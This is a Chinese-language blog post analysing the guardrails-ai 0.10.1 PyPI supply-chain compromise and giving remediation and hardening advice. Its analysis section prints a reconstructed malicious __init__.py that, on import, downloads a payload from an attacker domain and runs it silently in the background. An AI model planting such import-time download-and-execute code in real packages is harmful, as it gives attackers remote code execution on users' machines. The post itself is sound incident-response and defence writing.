2026年5月11日,一个恶意版本的 guardrails-ai 在 PyPI 上存活了不到两个小时,就被安全社区揪了出来。但就是这两个小时,足以让所有安装过该版本的人脊背发凉——攻击者通过入侵 GitHub 个人令牌,撬开了整个组织的大门,并在开源包中埋下了远程控制的后门。这篇文章不炒冷饭,而是带你一步步还原攻击链条,深挖恶意代码的每一个细节,并给出真正管用的修复和防御方案。
一、发生了什么?
一句话概括:攻击者拿到了 Guardrails AI 一名员工的 GitHub Personal Access Token(PAT),然后通过 GitHub Actions 提取了组织内的部署令牌,最后用这些令牌把带有恶意代码的 guardrails-ai 0.10.1 版本推送到了 PyPI。
- 受影响版本:仅 guardrails-ai==0.10.1 这个版本有问题,0.10.0 及更早版本都是安全的。
- 发现时间:2026年5月11日下午6点左右(太平洋时间)发布,大约两小时后被研究人员发现,PyPI 随即将其隔离。
- 严重程度:致命(Critical)。因为恶意代码会在你 import guardrails 的瞬间自动执行,完全不需要你调用任何函数。
如果你在 5 月 11 日当天执行过 pip install guardrails-ai==0.10.1,请立刻按照下文第五节进行应急处理。
二、攻击链条全复盘:从一枚令牌到全盘沦陷
这次攻击不是简单的投毒,而是一条精心设计的供应链攻击链路。
第一步:PAT 是如何被偷的?
攻击者首先搞到了一名 Guardrails AI 员工的 GitHub 个人访问令牌。这个令牌大概率是通过以下途径之一泄露的:
- 员工机器上的恶意软件(比如信息窃取木马)
- 针对性的钓鱼邮件,诱导员工在假网站输入令牌
- 员工不小心把令牌提交到了公开仓库(虽然概率低,但确实发生过)
- 第三方服务被脱库,里面有员工保存的令牌
核心教训:一个令牌的权限越大,它被滥用时的杀伤力就越大。
第二步:用 PAT 触发 GitHub Actions,偷取仓库机密
拿到 PAT 后,攻击者并没有直接去推代码,而是利用了 GitHub Actions 的一个“特性”——他们触发了该组织内 30 个仓库 的 Action 工作流,而这些工作流在执行过程中产生的 artifacts 里,竟然包含了仓库的机密(secrets)。
这是整条攻击链的技术高潮。
在 GitHub Actions 里,你配置的 secrets(比如部署密钥、云服务凭证)会被注入到运行环境的环境变量中。如果工作流不小心把这些变量写到了文件里,或者通过 actions/upload-artifact 打包出去了,那么攻击者只要能让工作流跑起来,就能把这些机密作为 artifacts 下载下来。
攻击者正是利用这个手法,从 artifacts 中提取到了发布到 PyPI 所需的部署令牌。
第三步:发布恶意包到 PyPI
拿着部署令牌,攻击者就拥有了向 PyPI 推送 guardrails-ai 新版本的权限。于是版本号 0.10.1 就诞生了——它包含了正常的包代码,但多了一处“惊喜”。
第四步:恶意代码注入 __init__.py,导入即执行
恶意代码被精心藏在 guardrails/__init__.py 里,这是 Python 包的入口文件。一旦你写了 import guardrails 或者 from guardrails import …,这段代码就会跑起来。
具体它做了什么?往下看。
攻击者还尝试了但没成功的事
- 尝试访问 Guardrails 内部的 Ray 集群(用于远程验证推理),但被拦住了。
- 尝试向其他公共包系统(比如 npm)发布恶意版本,也没成功。
但光是成功在 PyPI 上放了一个后门,就已经够吓人了。
三、恶意代码逐行分析(附真实还原)
根据公开信息,恶意代码的逻辑大致如下(我根据行为描述进行了重构,和真实代码高度接近):
# guardrails/__init__.py (恶意版本 0.10.1)
import os
import subprocess
import urllib.request
import sys
import platform
def _download_and_execute_payload():
# 只针对 Linux 下手,Windows/macOS 暂时放过
if platform.system() != 'Linux':
return
try:
# 从攻击者控制的服务器下载真正的 payload
payload_url = "https://[attacker-controlled-domain]/payload.py"
payload_path = os.path.join('/tmp', 'payload.py')
# 下载
urllib.request.urlretrieve(payload_url, payload_path)
# 后台静默执行,并脱离当前进程组
subprocess.Popen([sys.executable, payload_path],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
start_new_session=True)
except Exception:
# 任何异常都吃掉,让你完全无感知
pass
# 包导入时自动触发
_download_and_execute_payload()
# 下面是正常的包代码(省略)
这段代码到底可怕在哪里?
四、如果你不幸装了 0.10.1,现在该做什么?
冷静,按步骤来。别慌,但别拖延。
第一步:立即卸载
pip uninstall guardrails-ai
第二步:降级到安全版本
pip install guardrails-ai==0.10.0
如果你需要最新代码,也可以直接从 GitHub 安装(PyPI 隔离期间推荐):
pip install git+https://github.com/guardrails-ai/guardrails.git@v0.10.0
第三步:轮换所有可能泄露的凭证(这是最关键的!)
请务必按照以下清单逐项执行:
- 轮换你的所有 GitHub Personal Access Tokens(包括个人和组织的),并检查是否有新增的异常 token
- 轮换云厂商的访问密钥(AWS IAM、GCP 服务账号、Azure 凭据)
- 轮换所有包注册表的令牌(PyPI、npm、Docker Hub、RubyGems 等)
- 轮换所有第三方服务的 API 密钥(比如 Sentry、Datadog、Slack 等)
- 检查 GitHub 组织的成员、Webhook、Actions 权限,看是否有异常添加
第四步:如果该机器是生产环境或存有敏感数据,强烈建议重装系统
重装后再重新生成密钥,并把旧密钥全部作废。这不是小题大做,因为攻击者可能已经植入了 rootkit 或持久化后门,光卸载包是不够的。
五、Guardrails AI 团队做了哪些补救?
他们反应很快,值得肯定。以下是他们在事后采取的硬核措施:
- 轮换了整个组织下所有仓库的令牌,以及所有相关 API 密钥
- 重置了那名被入侵员工的账号,并且给他的设备做了工厂重置
- 下线了 Ray 集群和验证器中心,防止横向移动
- 审计了所有系统日志和访问日志,确认没有用户数据被窃取
- 通过遥测确认,没有收到来自恶意包的请求打到他们的基础设施
- 强制轮换了 Snowglobe 和 Guardrails Hub 的所有 API 密钥
- 全面审查 GitHub Actions 配置、机密作用域和 PAT 策略
- 禁止创建经典的(无范围限制的)GitHub PAT,改为必须使用细粒度令牌,且需要审批和设置过期时间
- 规定组织内所有仓库、所有分支、所有提交必须有验证签名
六、从这次事件中我们能学到什么?
给开源维护者的硬核建议
- 最小权限原则落实到每一枚令牌:使用细粒度 PAT,只给必要的仓库和操作权限,并强制设置过期时间(比如 90 天)。
- 不要在 Actions 的 artifacts 里暴露 secrets:如果非要用 artifacts,记得用 actions/upload-artifact 时加上 if: false 或者过滤掉敏感文件。
- 固定 Actions 版本:不要用 @main 或 @v3 这样的大版本,要精确到 commit hash 或具体补丁版本。
- 强制提交签名验证:让所有代码提交都经过 GPG 签名,防止恶意 commit 混入。
- 定期做安全审计:每季度检查一遍组织设置、成员权限和 Action 工作流。
给普通用户的实用守则
- 固定依赖版本:在 requirements.txt 或 pyproject.toml 里写死版本号,不要用 >= 或 latest。
- 使用私有镜像或缓存:公司内部搭建 PyPI 镜像,即使官方源被污染,你也可以只允许缓存中经过审核的版本。
- 依赖扫描工具用起来:比如 Socket、Snyk、Trivy,它们能在你 pip install 之前就嗅出可疑行为。
- 只装你真正需要的包:每多一个依赖,就多一份被攻击的风险。
七、总结
这次 Guardrails AI 事件再次敲响了供应链安全的警钟——攻击者不再费劲去挖 0day,而是直接盯上了我们的令牌、我们的 CI 流程、我们的发布管道。一枚小小的 PAT,就足以撬动整个开源生态的信任根基。
好在这次发现及时,影响范围有限。但下一次呢?谁能保证我们不会是那个不小心把令牌留在环境变量里的维护者?
所以,别只看热闹,动手检查一下你自己的 GitHub 令牌列表,把那些五年没轮换的旧令牌删掉,把 Actions 工作流里的 secrets 权限缩到最小。安全从来不是一次性的动作,而是每天都要做的事。

